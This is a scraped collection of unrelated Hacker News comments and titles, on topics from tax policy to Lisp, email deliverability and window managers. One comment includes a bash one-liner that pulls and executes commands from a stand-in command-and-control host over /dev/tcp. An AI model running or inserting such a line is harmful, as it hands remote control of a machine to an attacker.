skysight-inc/HackerNews huggingface dataset:
Probably referring to the trend of California residents making a lot of money from being located in California and then re-locate to Texas.

The implication is that they do this to avoid having to continue paying back California for the wealth they amassed there.
Don't people normally use document scanners for that? What are the upsides/downsides? This seems like more difficult to control exposure.
“ The study, which appears today in the British Medical Journal (BMJ), looked at 980,876 procedures performed in US hospitals by 47,489 surgeons. Of those procedures, 2,064 (0.2%) took place on a surgeon’s birthday”

Actual data:
2064/980876 operation on bday 6.9% die, rate = 142 death

Expected: (if we use non bday death rate)

1/365=0.0027
2687 operation
With better 5.6% death rate
= 150 death

So deaths are only 6% more, so basically they are doing less and more emergency operations on birthday, so death rate is increasing it seems.

It means they are making 23% less operations on birthday then any normal day.
Like any other good, taxes are subject to basic economics. People adjust behavior based on the tax level. For instance, people can choose to move. Or they can employ different tax avoidance schemes (with their own costs and risks) depending on how high the tax is.

On the extreme, both a 0% tax and a 100% tax rate would result in zero income, so there exists some point in between where an increase tax rate results in lower overall revenue. This is called the Laffer Curve [0]

Framing matters a lot about these discussions where "tax cuts" illicit an image of cash taken out of a vault somewhere and sent directly to wealthy people. But its just a number. What you really want to look at is total revenue. If we think of taxes as a method of paying for things we use collectively, we should try to optimize for revenue.

If you look at federal tax revenue over the last 70 years, you'll see that it was remarkably stable between 15-20% of GDP, with spikes and dips being mostly affected by recessions and booms. And during that period we had significant changes to marginal tax rates.

I think the framing is wrong and is meant to illicit moral outrage about percentages paid when its much more complicated than that. The top marginal rate is meaningless without context or considerations to other things.

[0] https://en.wikipedia.org/wiki/Laffer_curve

[1] https://www.taxpolicycenter.org/briefing-book/what-are-sourc...

[2] https://en.wikipedia.org/wiki/Progressivity_in_United_States...
That's been my experience too. Insults directed towards me in English just wash over me like water off a duck's back. Insults directed towards me in my own native language are like a gut punch, in that they feel more real and cutting.

I've been long hypothesizing that my English "self" is running in a sort of a "virtual machine" where I can step back, examine and pick apart the input for the parts that are relevant or beneficial, then continue processing.
This reminds me of Netflix's shareholders report where they said that don't compete with HBO, but Fortnite. [1]

Currently, it is truly a battle between companies for the user's attention.

[1] - https://www.forbes.com/sites/johnarcher/2019/01/17/netflix-r...
Some people, when confronted with a performance problem, think "I know, I'll use a cache." Now they have two problems.

(in other words: caching is complicated, and may make your systems very hard to understand & debug)
I'm pretty sure that even x86 UEFI cannot boot from CDs/DVDs (unless they are in BIOS emulation mode). This is the reason why physical retail Windows 10 images are in a read-only USB.

Update: some enterprise UEFI setups do boot from DVDs but the ISO should be a hybrid type (aka must have EFI-style partitions).
Heroes never die
debian cd images can be dd'ed on an usb key (at least on x86 with legacy bios/uefi) [0]

[0] https://www.debian.org/releases/jessie/amd64/ch04s03.html.en
It is:

>The effect size of surgeons’ birthday observed in our analysis (1.3 percentage point increase or a 23% increase in mortality), though substantial, is comparable to the impact of other events, including holidays (eg, Christmas and New Year) and weekends, which have been argued to affect the quality of patient care.
Technically, one can still buy cryptocurrency using a Visa/MC card and then use that to pay for PornHub.
They've made it more inconvenient certainly but I don't see why card companies should be forced to directly do business with anyone.
Couldn't this be used by Mathworks against Octave if SCOTUS rules that reimplementing APIs is a copyright violation?
You could always just use a pseudorandom number generator and rely on bit errors to generate the different potential sort orders. ;)
Does the UK have anything that's similar to the US version of the Mars Bar?
i3 is amazing. Stable, consistent, fast, well designed.
The default should always be "block everything". When you try to do an action on a website that requires additional consent, you should be asked additionally.

Just like the iOS/new Android permissions Dialogs. No to all by default, only allowing specific permissions on demand.
I think people are realising you can just say screw it to consensus.

Politicians are one group testing this. But Uber also went down this route. It might also work against cancel culture.

I'd watch this space.
> Presumably CDPR employees are not afraid to convey such bad news to the management.

I do not think this is a safe assumption to make. You're assuming each person passes this higher and higher up in the chain for a decision to be made.
Boards dev here, thanks for mentioning the app! I'd be happy to answer any questions.

Not immediately obvious, but nice to know: the *.boards file format is simply a .zip file. It contains all resources/images and an HTML file with the contents of the board so that you can access your data even without the app (I'm strong on data accessibility after getting locked out of binary data formats once too many).
Former Supplier Responsibility staff say Apple complicit in labor law violations
I was lucky enough to get in at the ground for the Apps for Business (or whatever name it has now) service when it was free, and I was able to use my own domain for that.

As such, migrating these email addresses was easy enough.

My older @gmail and @googlemail ones though, not so easy. I've been moving each account I have used with these addresses one-by-one, but you never catch them all and even when you do, some services simply will not let you change your email address.

I recall being so excited when Gmail first launched and was one of the first people to get a Beta invite. I regret ever signing up for them now, given the headache it has been to get off it.
Don't we all have Mars bars AND Milky Ways :) ?
Perhaps. The answer is it’s unknown. It was the first time I met correlation so clearly irl, and my idle guess was naive and obviously stupid.

There was no info on building types or sqft/m2, but lower and higher floors are historically cheaper here (1st is little loud/non-private and last is little cold and flood-prone).
Heh, I think the keyboard LED trick was mentioned in Cryptonomicon iirc.

I created one that takes a mere 14 minutes to transmit 'hello' using a cd drive's movement:
https://www.anfractuosity.com/projects/cditter/
The results are a lot less interesting when you read that the risk increase they found is comparable to that present during regular weekends:

>The effect size of surgeons’ birthday observed in our analysis (1.3 percentage point increase or a 23% increase in mortality), though substantial, is comparable to the impact of other events, including holidays (eg, Christmas and New Year) and weekends, which have been argued to affect the quality of patient care.
Such weird terminology, but it's still a nice video!
Everett police say porch pirates using fake Amazon uniforms to steal packages
I felt like management withheld the bonuses to get them to stay on to finish the game. Major patches have already been promised for Jan and Feb because it's basically early access quality, and I bet more than a few devs are ready to walk away.

I know if tensions were high after a long crunch and I just got a big payout before a major family holiday, I'd need some convincing to go back in.
I think the nearest thing would be a Mars Bar?
> Oh come on (...)

Would it be better if we talk about leanplum and firebase analytics, or say mozilla's telemetry service, or how google safebrowsing is implemented?

I mean, if you comment on Chrome for integrating Google services, you gotta do the same when Mozilla does it, too.

If you don't believe me, run an MITMproxy to check for yourself.

I'd rather recommend Ungoogled Chromium, even on mobile, due to Fenix's lack of privacy.
From discussions on the Reddit cordcutters subreddit about TV reception, it seems that modern construction techniques do a pretty good job. Metal foil on solid insulation. Metal stucco mesh. Even metal films on the panes of newer insulating windows.

I suspect that this effect is also why cell phone reception is so bad in some houses. We are kind of working at cross purposes here...

>...does it require sheets of thick metal?

No but things work better when the edges of the sheets are electrically connected. Ideally you want a contiguous box with filters on any wiring crossing the box. Depending on the frequency you can get away with a mesh with openings that are sufficiently small.
Russia Will Win the Climate Crisis
EPDs are highly, highly nonlinear in their driving response.

It for a good reason full info behind making LUTs for driving EPD screens is kept as high secret.
It's good when there are a lot of elements off by a short distance in a mostly sorted list. The go-to use case that I've seen is depth sorting for 3D rendering on really low end hardware. Polygons usually don't move much in the Z-order each frame, so you run a few passes of bubblesort per frame for a good-enough linear-time sort.
since Tabkit died with xul and Tree Style Tab beeing a poor replacement (that crashes often) i use vivaldi althou its still not as good as the original opera or ff-tabkit were in regards to the vertical tab ux.

browser ux really seems like 'one step forward, two backward' over the last two decades.
Yes, you can do it. Have a look at a minimalistic UI called SXMo: https://forum.pine64.org/showthread.php?tid=9913.
Do Citizen Data Scientists Need Special Analytics Tools?
Subscription Offer Codes–Untapped Marketing Potential for Your iOS Apps
Ulysses (and even more so Finnegan's wake) is not written in a natural language. It is a constructed artificial language. Many of Shakespeare's works are also written in a constructed language because of their need for rhyme and rhythm, albeit closer to the natural language of his time. I've also noted that rhymed text, even if otherwise using natural syntax, is harder for me to follow as my brain tends to get lulled by the rhyme itself and stops paying attention to the content, it's just trying to predict the pattern.

Now that said, the idea of comparing programming languages with natural languages or even constructed languages seems very strange to me. Natural languages are tools for thought, expression and communication. Programming languages are tools for, well, programming. Even the relationship between the grammar of a PL and the grammar of a human language is distant (we often intuitively think of identifiers as similar to nouns and verbs in human languages, but in fact all identifiers are equivalent to proper nouns in human languages, and the actual equivalents of nouns and verbs are stuff like block openers, significant white space, function application, maybe the keywords).

It is a well-known fact already that humans can only naturally learn human languages, which have a specific kind of grammar. Even some clumsy attempts at standardizing human language end up introducing un-natural grammar that children can't pick up until later in school when it is drilled into them. It would have been truly surprising to find out that we can use our natural language capacity for something as alien as a PL.
The Leistungsschutzrecht is a disaster, though.
No, it is not. It really grinds my gears if people are spreading misinformation about 'being on the same network as a spammer', 'indiscriminate blacklists' and corporate overlords for being the reason on why their email is not being delivered.

Spam filters have been content driven for a long time now. IP addresses and domain names are ephemeral and so are 'blacklists'. With the amount of spam being send, we would have blacklisted the entire internet by now.

If a spam filter gives false positives, it hurts the receiver just as much as the sender.

The real problem with self-hosting is that the majority of self-hosted e-mail servers are terribly configured. Getting the SMTP server running is one thing, but getting DKIM, DMARC, SPF, TLS and MTA-STS running properly is often overlooked. What was the last time you checked the validity of the TLS certificate of your SMTP server?

Get your server and domain setup properly. Sign your email with DKIM, setup an SPF and DMARC policy and perform DMARC monitoring to spot problems. Setup TLS and an MTA-STS policy service for your incoming email. Throw in SMTP-TLS-reporting for good measure. E-mail servers are not set-and-forget if you want to do it right. And this is not the fault of large corps, it's the spammers who got us in this situation.

It's really easy to blame large services or blaming your email deliverability problems on being on the same IP block as a spammer, but really it's almost always a misconfiguration on your side.

Disclaimer: I'm the founder of Mailhardener (https://www.mailhardener.com), we do e-mail hardening and solve deliverability issues.
You can brick it if you try, but reinstalling an OS is also easy.
Its much easier to star a business in a homogeneous market like US. Where a culture is almost identical across each state.

In contrast EU countries speak different languages and there are different cultural norms and habits. And while laws are similar there are differences between countries.

I would say this is the biggest factor why us is the default unicorn location.
In theory it's using DRS (Dynamic Resolution Scaling) but I've never seen it change to a "good" resolution.

The 1.04 patch improved things but many textures are extremely poor while others right next to them are sharp and clear. For example, a building or railing texture will be good, but a dumpster or any other object which isn't fixed will be extremely low resolution. On the whole it's very soft and just gives a "blurry" or "out of focus" feel.

The result for me is eye strain as it feels like I'm always trying to focus on something that won't be focused.

Subjectively speaking, it _feels_ worse quality than a 1080p game when I was playing on PS4. I don't have any real evidence to back it up though.
Yes. Why? It's easy to give money to a cornershop to buy a Mars bar.

Try the same with digital goods. Now with gift cards it's easier, still, it's mildly non-trivial.
Nice! How's the net margin trend looking?
There is this orange outdated looking site where nerds hang out that I like - https://news.ycombinator.com/
Impact of Broadband Penetration on U.S. Farm Productivity [pdf]
Potentially yes. With Wine and x86 emulation, this could work well even for non-Windows platforms.
You are correct. I think that Nowakowski misunderstood the question, and assumed it's mainly about the delays.
I know people who have been instructed to do this by medical staff prior to surgery. I have personally helped someone mark a mole they couldn't reach on their back.
> Its all correlated with g.

I saw a paper that argues that there are two factors: g and math. But that's tangential.
that was a good read. very well written.
At the time, https://news.ycombinator.com/item?id=7800752
Windows runs bad on Arm compared to the new Mac M1s
The camera led is cool.

That might work in a noisy environment, but it draws attention visually, which might not be great. Also, (1) users tend to cover their cameras with tape or post-its, (2) why would a super secure endpoint have a camera if it wouldn't be on the network, (3) slight chance of being noticed on external/detached security webcam.
Seems like it is often forgotten that the point of the economy is the wellbeing of the people.

Say, during COVID, I think many people suddenly discovered that they do not need as much consumption as they thought they did. Replacing going out or shopping with a walk in the park was a pleasant change for some. And yet instead of learning something from the experience, people are pressured to return to their old consumption habits as if it is some sort of civic duty, because it is "good for the economy". It is the equivalent of breaking windows and fixing them up again to create an economic boom - it is bad for the economy and the people and is just a transfer of resources to a specific trade.
Per their own documentation, this is their patched version of Chromium and not the full browser (notably the UI HTML/JS code is not included): https://help.vivaldi.com/desktop/privacy/is-vivaldi-open-sou...
Submitter here, I missed that thread. Thanks!
Not that quick. Third-party analytics masquerading as first-party analytics is a thing: https://github.com/SukkaW/cloudflare-workers-async-google-an...
There is also Amethyst for macos https://github.com/ianyh/Amethyst
You're not strictly wrong...

But what I'm trying to say is that what's in your database should be well defined. You shouldn't just put any old stuff in there. You should have a standard for exactly how everything is escaped (or not) so that your consumers have a spec to work to.

You'd do the same with, say, character encodings. One option is to convert everything to a single character set on the way in, such as UTF-8. Another option is to annotate everything with the character set it uses. You must chose one.

Relying on adhoc code spread across the codebase for the security properties of untrusted data leads to whack-a-mole security situations.

Being able to trust the data in your database is essential.

Note, that absolutely doesn't mean things like "Robert'); DROP TABLE Students;--" shouldn't appear in database fields.

It just means that if you define the type of a field to be "eMail address" then consumers of it really should be able to trust that it really is a legitimate and valid eMail address. What does "valid" mean in this context? Well, that's up to your spec. Perhaps just "legally structured". Perhaps "something that eMail can actually be delivered to". Perhaps "something that is known and assured to actually be associated with this particular user".

...but you must be explicit otherwise consumers have nothing to work from and you're building castles on the sand.
Show HN: ThinkType – Write and Search Notes at the Same Time
I made thinktype to replace all the apps I used to write down diffferent kinds of thoughts - a scratchpad, a todo app, a note-taking app, a diary.

It doesn't replace all these apps by combining all their features, it uses a different approach: When you open the app your cursor is in a search field which you can also write and save longer notes from. Making the search so easily accessible lets you use text to organize your thoughts anyway you want. For example you can use it as a todo list by using the "TODO" and "DONE" keywords in notes. This lets you either search for all your todos, or all your notes and todos related to a project - the latter is something you couldn't do if your todos were in another app.

I submitted this yesterday with the title "write your thoughts down immidiately", but it didn't get any attention. I hope this title is better and it's OK to submit it again.[1]

[1]: https://news.ycombinator.com/item?id=9772114
Ask HN: I want to start learning Lisp. Where do I begin?
There are multiple versions of Lisp. Multiple compilers. What is a good one for someone new to pick?

I use VS Code and Vim. Are they suitable for learning Lisp?
“In Spanish or Greek, 'Ffira' means something great, while 'Mikah' in Arabic in conjunction with the name of an angel.” [claimed the official]

While “mikah” resembles the Arabic word for angel, “malaikah”, “ffira” does not mean “great” in Spanish or Greek, nor does it appear to mean any other word.

I ran "ffira" through Google Translate auto-detect to scoop The Indie.

It reckons it's English.
You cannot make a statement like that and then not provide an alternative. Personally I think dataloader makes amazing use of Javascript async.

There may be other ways to scale things out, but that doesn’t mean this one isn’t good.
Countries generally have rules around residency that boil down to "if you spend most of a year within the country you are resident in that country".

Tax residency is separate and the rules are a bit different and again vary by country.
The cosmonauts I have spoken with personally have said the ISS stinks of human bodies and other things. It's also very noisy 24 by 7, and there is constant air movement. Three things they did not expect.
long options often cause issues since a few comon executables are only short-flag compatible between OSs
Facebook accuses people tied to French military of running troll accounts
What a great little project. I find it strange somehow, through the wind, someone always posts a project that relates to me in my current hobbies here on hn. I've just started scanning my 35mm negatives with my dslr (with macro lens) and a film holder on a lightbox. It's easy and much quicker than a dedicated flatbed, but more work post process.

For anyone wanting to do this, you will need to invert your b&w or colour negatives with software capable of processing RAW files (lightroom, darktable, rawtherapee) white balance the negative, invert and then colour/exposure correct the final image. I use darktable for this and the latest version has a real nice plugin called negadoctor that can give you a great starting point. For lightroom, NegativeLabPro is the goto tool and works in a similar way to negadoctor but is better at producing the initial image.
> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd

Not listen, but it can certainly connect out and ask for instructions...

bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'
Emacs will probably be better in the long run for Lisp, but you can use any editor to begin.

For Common Lisp, SBCL [1] is probably the best free option. If you want to learn Scheme instead, Chicken Scheme [2] and Racket [3] are popular and good choices.

[1]: http://www.sbcl.org/

[2]: https://call-cc.org/

[3]: https://racket-lang.org/
I suppose, but I don't want to download it, so I won't. Much like I wouldn't try to delete Bonzi Buddy by downloading the Bonzi toolbar. This is just a JavaScript block (for now) but I have no idea what it means internally and having an insignia that reports back to Google everywhere I go sounds kind of like the thing I was trying to avoid in the first place.
Pop Shell is also great [1]. I use it with PopOS but you can use the tiling Shell with other distros, Manjaro etc.

1: https://github.com/pop-os/shell
Well, it's not like they were forced to do name resolution over DNS before... They could just as well deploy their own custom name resolvers and talk to them via IP from applications like YouTube for Android.

The scenario you're describing (DNS-level blocks) could always be circumvented.

On the other hand, if you live in the US and don't override the ISP's name servers, most probably they will spy on you and sometimes even do things like injecting ads into third party websites. This was the thing DoH was meant to solve.
The picture in the README is a link to a (older) YouTube video.

Self plug: I was annoyed by the lack of indicators: when it's a picture or a youtube link that I created https://mhasbini.com/blog/embed-youtube-in-github.html

E.g. of before & after: https://github.com/bezineb5/RoboScan/pull/2
Designing a recipe for distributed, small-scale food production